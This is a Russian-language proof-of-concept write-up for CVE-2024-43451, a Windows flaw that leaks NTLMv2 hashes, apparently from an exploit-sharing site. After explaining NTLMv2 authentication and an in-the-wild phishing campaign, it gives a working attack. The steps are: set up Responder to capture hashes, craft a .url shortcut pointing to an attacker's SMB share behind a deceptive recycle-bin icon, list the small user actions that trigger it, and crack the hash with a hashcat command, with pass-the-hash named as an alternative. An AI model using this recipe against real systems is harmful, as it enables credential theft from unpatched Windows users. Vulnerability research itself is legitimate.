Описание

• Название : CVE-2024-43451
• Оценка CVSSv3 : 6.5
• Затронутые версии : Все версии Microsoft Windows до патча ноября 2024 года

CVE-2024-43451 — это уязвимость нулевого дня в Microsoft Windows, которая позволяет злоумышленникам захватывать хэши паролей NTLMv2 при минимальном взаимодействии с пользователем, что потенциально может привести к краже учетных данных. Часто используемый метод заключается в использовании аутентификации NTLM через SMB-соединения с удаленным сервером для захвата хэша. Эта уязвимость была исправлена в обновлениях ноября 2024 года. Пользователям рекомендуется установить соответствующие обновления безопасности для снижения риска.

Эта атака была обнаружена как активно эксплуатируемая с помощью фишингового письма, отправленного с взломанного сервера украинского правительства. Письмо содержит вредоносный URL-файл. Когда пользователь взаимодействует с файлом (щелчок правой кнопкой мыши, удаление или перемещение), уязвимость активируется. Это инициирует подключение к серверу злоумышленника, что приводит к загрузке дополнительных вредоносных файлов, таких как вредоносное ПО SparkRAT (троян удаленного доступа с открытым исходным кодом, позволяющий злоумышленнику получить контроль над системой жертвы).

Аутентификация NTLM

NTLMv2 в настоящее время является наиболее безопасной версией и наиболее актуальной на сегодняшний день.

• Клиент подключается к серверу и запрашивает доступ к ресурсу.
• Сервер генерирует nonce (случайный 16-байтовый вызов) и отправляет его клиенту.
• Клиент отправляет ответ, сгенерированный с использованием алгоритма HMAC-MD5, который включает хэш пароля (используя алгоритм NT-хэша), серверный nonce, временную метку, клиентский nonce и другое.
• Сервер использует NT-хэш и повторяет те же вычисления для себя, чтобы получить свой собственный NTLM-ответ; после того как у каждого есть свой ответ, они могут их сравнить.
• После сравнения сервер решает, принять или отклонить соединение.

image

Эксплуатация

Настройка POC

Для создания рабочей среды для данного POC необходимо настроить целевую машину Windows с номером сборки, выпущенным до ноября 2024 года, и удаленный сервер для имитации захвата хэша:

1. Загрузите и установите Responder для захвата хэша через SMB:
   root@kitploit:~

   brew install python3
   

   root@kitploit:~

   git clone https://github.com/lgandx/Responder.git
   

   root@kitploit:~

   cd Responder
   

   root@kitploit:~

   sudo python3 Responder.py -I <put your network interface> -v
   

2. Убедитесь, что существует успешное соединение между целевой виртуальной машиной Windows и вашей удаленной «хакерской» средой.
3. Проверьте настройку responder, открыв проводник и введя \\(remote server IP):

Создание эксплойта

Поскольку все, что нужно для эксплойта — это установить SMB-соединение с удаленным сервером, мы можем использовать простой файл для его имитации:

1. Откройте Блокнот
2. Введите следующее:
   Можно ввести любую иконку, которая заставит пользователя взаимодействовать, я использовал иконку «полная корзина» (32)
   root@kitploit:~

   [InternetShortcut]
   URL=\\(remote server IP)\share
   IconIndex=32                    
   IconFile=C:\Windows\System32\shell32.dll
   

3. Сохраните его как (name).url

Активный процесс

Как только файл подготовлен и доставлен в целевую систему, кража хэша требует минимального взаимодействия с пользователем. Это взаимодействие может включать любое из следующих действий:

• Загрузка файла и доступ к папке «Загрузки»
• Щелчок правой кнопкой мыши по файлу
• Перемещение файла в другую папку

https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058

https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2

Взлом

Имея незашифрованный хэш, мы можем либо попытаться взломать его, чтобы получить пароль в открытом виде, или использовать его в атаке «Pass-the-Hash» с помощью таких инструментов, как Mimikatz или Metasploit.

В нашем случае простая команда Hashcat раскрывает мой пароль: hashcat -m 5600 leak.txt rockyou.txt